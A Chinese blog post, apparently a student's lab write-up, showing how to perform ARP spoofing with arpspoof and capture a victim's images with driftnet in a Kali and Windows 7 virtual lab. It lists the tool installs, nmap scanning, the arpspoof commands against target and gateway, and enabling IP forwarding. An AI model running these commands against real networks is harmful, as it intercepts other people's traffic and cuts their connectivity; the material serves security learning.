(arpspoof + driftnet)实现arp欺骗

最新推荐文章于 2024-07-02 11:36:08 发布

伽蓝之堂

最新推荐文章于 2024-07-02 11:36:08 发布

阅读量1.9k

点赞数 2

分类专栏：内网渗透文章标签： linux

本文链接：https://blog.csdn.net/m0_46684679/article/details/120122199

版权

4 篇文章 1 订阅

订阅专栏

虚拟机环境：kali linux + window 7

前言

ARP欺骗：欺骗局域网内主机的网关MAC地址，使局域网内主机认为攻击机MAC地址是自己的网关MAC地址，导致局域网内主机对外请求流向攻击机，造成网络不通。

arp欺骗工具，这里更新一下数据源和下载安装arpspoof

apt-get update
apt-get install -y dsniff ssldump

另外安装driftnet，一款监听截图工具

apt-get install -y driftnet

攻击机命令如下：

nmap -T4 -A -v -Pn 192.168.241.0/24
ifconfig         //ip配置
ip route show    //网关
ping 目标机ip     //检查连通性
arp -a           //查看arp信息

最后整理数据如下：

攻击机 192.168.241.140  00:0c:29:7d:2d:2a
目标机 192.168.241.133  00:0c:29:f2:11:12  
网关 192.168.241.2   00:50:56:f8:d2:2d

MAC欺骗：

arpspoof -t 192.168.241.2 192.168.241.133

此时目标机会断网
网络变化
开启端口转发，不然目标机无法上网：

echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward
1

流量截图命令如下：

arpspoof -t 192.168.241.133 192.168.241.2 -i eth0
driftnet -i eth0

成功捕获！
试着好久才成功几次，哈哈

又一个暑假没了唉，大三了，本菜狗得回学校继续挣扎了，I just want to be happy…

关注